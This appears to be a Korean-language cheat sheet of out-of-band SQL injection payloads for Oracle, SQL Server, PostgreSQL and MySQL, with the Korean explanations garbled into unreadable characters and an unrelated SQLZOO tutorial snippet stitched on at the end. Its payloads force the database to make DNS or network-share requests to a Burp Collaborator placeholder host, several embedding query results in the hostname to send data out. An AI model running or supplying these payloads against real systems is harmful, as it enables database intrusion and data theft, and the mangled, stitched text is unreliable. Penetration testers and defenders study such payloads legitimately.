์์ ์ ์๋ ์ธ๋ถ ์์์ ๋ก๋.
The following technique works on fully patched Oracle installations, but requires elevated privileges: ํจ์น๋ Oracle ์ค์น ์์ ์ฌ์ฉํ ์ ์๋ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค. ๊ทธ๋ฌ๋ ๊ณ ๊ธ ๊ถํ์ด ํ์ํ๋ค.
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') : ์ด ์ฟผ๋ฆฌ๋ UTL_INADDR ํจํค์ง์ get_host_address ํจ์๋ฅผ ์ฌ์ฉํ์ฌ BURP-COLLABORATOR-SUBDOMAIN ๋๋ฉ์ธ์ IP ์ฃผ์๋ฅผ ์กฐํํ๋ ค๊ณ ์๋ํฉ๋๋ค. ์๋ฒ๋ ๋๋ฉ์ธ ์ด๋ฆ์ ํ์ธํ๋ ๊ณผ์ ์์ DNS ์์ฒญ์ ๋ฐ์
Microsoft
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' : SQL Server์์ ํ์ผ ์์คํ
๋ช
๋ น์ด๋ฅผ ์คํํ๋ xp_dirtree ์ ์ฅ ํ๋ก์์ ๋ฅผ ์ด์ฉํ์ฌ DNS ์์ฒญ์ ์ ๋ฐํฉ๋๋ค. //BURP-COLLABORATOR-SUBDOMAIN/a ๊ฒฝ๋ก๋ ์๊ฒฉ ์๋ฒ์ ์ฐ๊ฒฐ๋๋ฉฐ, ์๋ฒ๋ ์ด ๊ฒฝ๋ก๋ฅผ ํ์ํ๋ ค๊ณ ์๋ํ๋ฉด์ DNS ์กฐํ๋ฅผ ๋ฐ์์ํต๋๋ค. ์ด๋ฅผ ํตํด ์ธ๋ถ ์๋ฒ์์ ๋คํธ์ํฌ ์์ฒญ์ด ํ์ธ.
PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' : PostgreSQL์์ ์ธ๋ถ ํ๋ก๊ทธ๋จ์ ์คํํ๊ธฐ ์ํด copy ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํฉ๋๋ค. nslookup ํ๋ก๊ทธ๋จ์ ์คํํ์ฌ BURP-COLLABORATOR-SUBDOMAIN ๋๋ฉ์ธ์ DNS ์ ๋ณด๋ฅผ ์กฐํํ๋ ค๊ณ ์๋ํฉ๋๋ค. ์ด ๊ณผ์ ์์ ์๋ฒ๊ฐ ์ธ๋ถ DNS ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ด๋ฏ๋ก, ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ํตํด ์๋ฒ์ ์ธ๋ถ ํต์ ์ ํ์ธ.
MySQL
The following techniques work on Windows only: Windows ํ๊ฒฝ์์๋ง ์๋
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') : LOAD_FILE ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ์๊ฒฉ ์๋ฒ์์ ํ์ผ์ ๋ก๋ํ๋ ค๊ณ ์๋ํฉ๋๋ค. ๊ฒฝ๋ก์ ์๋ \\\\BURP-COLLABORATOR-SUBDOMAIN\\a๋ ๋คํธ์ํฌ ๊ณต์ ๋ฅผ ํตํด ์ ๊ทผํ๋ ค๋ ๊ฒฝ๋ก์ด๋ฉฐ, ์๋ฒ๊ฐ ์ด ๊ฒฝ๋ก๋ฅผ ํ์ํ๋ ค๊ณ ํ ๋ DNS ์กฐํ๊ฐ ๋ฐ์
SELECT... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' : INTO OUTFILE ๋ช
๋ น์ ์ฌ์ฉํ์ฌ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ์ธ๋ถ ํ์ผ๋ก ์ ์ฅํ๋ ค๊ณ ์๋ํฉ๋๋ค. ์ ์ฅ ๊ฒฝ๋ก๋ก ์ง์ ๋ \\\\BURP-COLLABORATOR-SUBDOMAIN\\a๋ ์ธ๋ถ ๋คํธ์ํฌ ์์ ๊ฒฝ๋ก๋ก, MySQL ์๋ฒ๊ฐ ํ์ผ์ ์ฐ๋ ค๊ณ ์๋ํ๋ฉด์ DNS ์์ฒญ์ ๋ฐ์.
DNS lookup with data exfiltration
๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ์ฝ์
๋ ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ๋ฅผ ํฌํจํ๋ ์ธ๋ถ ๋๋ฉ์ธ์ผ๋ก DNS ์กฐํ๋ฅผ ์ํํ๋๋ก ํ ์ ์์ต๋๋ค.
Oracle
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual : XML ์ธ๋ถ ์ํฐํฐ(XML External Entity, XXE) ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ, YOUR-QUERY-HERE ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ๋ฅผ ํฌํจํ DNS ์์ฒญ์ ๋ฐ์์ํต๋๋ค. EXTRACTVALUE ํจ์๋ XML ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ๊ณ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํฉ๋๋ค. xmltype์ผ๋ก ๋ณํ๋ XML ๋ด์์ YOUR-QUERY-HERE ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ๋ฅผ ํฌํจํ URL์ ์์ฑํ์ฌ Burp Collaborator ํ์ ๋๋ฉ์ธ์ผ๋ก DNS ์์ฒญ์ ์ ์ก.
Microsoft
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
: YOUR-QUERY-HERE ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณ์ @p์ ์ ์ฅํ ํ, xp_dirtree ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ ํด๋น ๊ฒฐ๊ณผ๋ฅผ Burp Collaborator ํ์ ๋๋ฉ์ธ์ ์ฐ๊ฒฐ๋ ๊ฒฝ๋ก๋ฅผ ํตํด ์ ๊ทผ.
PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
: YOUR-QUERY-HERE ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณ์ p์ ์ ์ฅํฉ๋๋ค. ์ดํ nslookup ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ BURP-COLLABORATOR-SUBDOMAIN์ผ๋ก DNS ์์ฒญ์ ์ ์กํ๋ copy ๋ช
๋ น์ด๋ฅผ ์์ฑํฉ๋๋ค. ์ด ์ฟผ๋ฆฌ๋ security definer๋ก ์ค์ ๋์ด ์์ผ๋ฉฐ, ํธ์ถํ ์ฌ์ฉ์ ๋์ ํจ์๋ฅผ ์ ์ํ ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์คํ.
MySQL
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' : YOUR-QUERY-HERE์ ๊ฒฐ๊ณผ๋ฅผ BURP-COLLABORATOR-SUBDOMAIN ๊ฒฝ๋ก์ ์๋ ํ์ผ๋ก ์ ์ฅํ๋ ค๊ณ ์๋ํฉ๋๋ค. INTO OUTFILE ๋ช
๋ น์ ๊ฒฐ๊ณผ๋ฅผ ํ์ผ๋ก ์ถ๋ ฅ.
SELECT from Nobel Tutorial - SQLZOO
nobel yr subject winner 1960 Chemistry Willard F. Libby 1960 Literature Saint-John Perse 1960 Medicine Sir Frank Macfarlane Burnet 1960 Medicine Peter Madawar ... nobel Nobel Laureates We continue practicing simple SQL queries on a single table. This tutor
sqlzoo.net